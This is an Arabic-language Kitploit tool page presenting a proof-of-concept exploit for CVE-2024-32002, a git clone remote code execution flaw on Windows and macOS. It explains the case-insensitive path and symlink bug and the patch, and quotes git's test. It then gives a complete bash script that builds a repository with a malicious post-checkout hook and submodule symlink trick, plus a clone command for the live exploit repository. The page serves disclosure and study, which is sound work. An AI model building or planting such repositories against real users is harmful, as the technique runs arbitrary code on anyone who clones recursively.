Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
git_rce — CVE-2024-32002 POC | Kitploit
أدوات/GitHubGitHub/roronoawjd/git_rce
تحليل الثغرات الأمنيةالاستغلالالأوراق والأبحاثالتعلم والتعليمتطوير الحمولات
GitHubroronoawjd/git_rce

git_rce

CVE-2024-32002 POC

عرض المستودع
منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

هجوم تنفيذ التعليمات البرمجية عن بُعد عبر git clone (CVE-2024-32002)

المساهمون

  • 이정우@Roronoawjd

شرح الخلفية

هذه الثغرة هي ثغرة RCE (Remote Code Execution) تحدث عند استنساخ مستودع git يحتوي على وحدات فرعية في أنظمة ملفات لا تميز بين الأحرف الكبيرة والصغيرة مثل Windows و MacOS. RCE هي ثغرة تنفيذ تعليمات برمجية عن بُعد تسمح للمهاجم بتنفيذ الأوامر التي يريدها على النظام المستهدف. يتم التعامل مع A/modules/x و a/modules/x كمسار واحد. يتم استغلال هذه الخاصية مع الروابط الرمزية لإحداث الثغرة.

معلومات الثغرة

  • يعمل هذا POC فقط على أنظمة Windows و MAC.
  • إذا تم تعيين git config --global core.symlinks false، فإن الهجوم لا يعمل.

تحليل الثغرة

عرض تصحيح الثغرة

builtin/submodule--helper.c

دالة dir_contains_only_dotgit: تتحقق مما إذا كان الدليل يحتوي فقط على ملف .git أم لا، وإذا كان يحتوي على ملفات أو أدلة أخرى، فإنها تُرجع خطأ. دالة clone_submodule: تتحقق من وجود دليل الوحدة الفرعية وكونه فارغًا قبل الاستنساخ.

t/t7406-submodule-update.sh

1. الإعدادات العامة

root@kitploit:~
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
  • يقوم هذا السكريبت بتعيين خيارات تكوين Git. يتم تمكين بروتوكول الملفات الخاص بـ Git من خلال protocol.file.allow always.
  • يتم السماح باستخدام الروابط الرمزية عن طريق تعيين core.symlinks true.
  • يستخدم tell_tale_path للتحقق من نجاح تنفيذ RCE.

2. إعداد الخطاف (hook)

root@kitploit:~
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
  • تهيئة مستودع hook.
  • إنشاء خطاف باسم post-checkout.
  • إضافة سكريبت الخطاف إلى المستودع ورفعه.

3. إعداد المستودع الرئيسي

root@kitploit:~
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
  • حفظ مسار مستودع hook.
  • تهيئة مستودع آخر باسم captain.
  • إضافة مستودع hook كوحدة فرعية في A/modules/x ثم رفع التغيير.
  • إنشاء رابط رمزي باسم a يشير إلى .git.

4. الاختبار

root@kitploit:~
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • التحقق من نجاح RCE.

إنشاء POC

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

يوجد في Git ما يسمى بالخطافات (hooks) التي تسمح بتنفيذ السكريبتات تلقائيًا عند حدوث أحداث معينة. موقعها هو دليل .git/hooks. post-checkout هو سكريبت يتم تنفيذه بعد عملية checkout.

image

الترتيب كالتالي:

  1. يتم إنشاء رابط رمزي a يشير إلى .git داخل المستودع المستنسخ git_rce.
  2. عند استنساخ المستودع الرئيسي (git clone)، يتم التعرف على مسار الوحدة الفرعية على أنه a/modules/x بدلاً من A/modules/x.
  3. بما أن a يشير إلى .git، فسيتم إنشاء /modules/x داخل .git، ويتم إنشاء y/hooks/post-checkout.
  4. بعد نجاح عملية checkout، يتم تنفيذ git_rce/.git/modules/x/y/hooks/post-checkout تلقائيًا مما يؤدي إلى حدوث RCE.

POC (Proof of Concept)

⚠️تحذير: لا تستخدم هذه الثغرة بشكل ضار!

root@kitploit:~
git clone --recursive https://github.com/Roronoawjd/git_rce.git

ملاحظة: في Windows، يجب فتح cmd أو bash shell بصلاحيات المسؤول لتنفيذ ذلك.

تنزيل الأداة